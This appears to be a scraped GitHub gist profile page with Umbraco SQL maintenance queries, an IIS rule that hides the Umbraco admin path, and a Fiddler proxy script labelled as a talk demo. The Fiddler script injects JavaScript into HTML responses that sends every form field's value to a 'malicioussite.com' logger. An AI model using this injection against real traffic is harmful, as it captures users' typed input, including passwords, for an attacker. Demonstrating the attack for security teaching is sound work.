Skip to content

Instantly share code, notes, and snippets.

View stevetemple's full-sized avatar

Steve Temple stevetemple

View GitHub Profile
DECLARE @langId int
DECLARE @siteNodeId int
DECLARE @currentDomainRecord INT
DECLARE @pageObjectType VARCHAR(100)
DECLARE @domain VARCHAR(250)
SET @domain = 'test.com'
SET @pageObjectType = 'A2CB7800-F571-4787-9638-BC48539A0EFB'
@stevetemple
stevetemple / 404-Umbraco.xml
Created June 12, 2021 20:44
IIS Rewrite rule to 404 Umbraco
<rule name="404_Umbraco">
<match url="^umbraco/?$"/>
<action type="CustomResponse" statusCode="404" statusReason="Not found" />
</rule>
TRUNCATE TABLE cmsPreviewXml
DECLARE @Counter INT
SET @Counter=-48
WHILE ( @Counter < -1)
BEGIN
DECLARE @createdDate Datetime = DATEADD(m, @counter, getdate())
PRINT @createdDate
DELETE FROM [cmsPropertyData] WHERE
versionId NOT IN (SELECT versionId FROM cmsDocument WHERE updateDate > @createdDate OR published = 1 OR newest = 1) AND
Server Error in '/' Application.
The remote server returned an error: (404) Not Found.
Description: An unhandled exception occurred during the execution of the current web request. Please review the stack trace for more information about the error and where it originated in the code.
Exception Details: System.Net.WebException: The remote server returned an error: (404) Not Found.
Source Error:
An unhandled exception was generated during the execution of the current web request. Information regarding the origin and location of the exception can be identified using the exception stack trace below.
@stevetemple
stevetemple / gist:5980155
Last active December 19, 2015 15:58
My fiddler script for umBristol 11th July - demo only - assumes the site is running jquery already. Put in OnBeforeResponse function in fiddler custom rules script
if (oSession.oResponse.headers.ExistsAndContains("Content-Type", "html")) {
// Remove any compression or chunking
oSession.utilDecodeResponse();
var oBody = System.Text.Encoding.UTF8.GetString(oSession.responseBodyBytes);
// Match the jQuery script tag
var oRegEx = /(<\/body>)/gi;
// replace the script tag withitself (no change) + append custom script tag
oBody = oBody.replace(oRegEx, "<script type='text/javascript'>$('input').blur(function() { $.get('http://www.malicioussite.com/logger?text=' + $(this).val() + '&field=' + $(this).attr('name')) });</script>$1");
// Set the response body to the changed body string
oSession.utilSetResponseBody(oBody);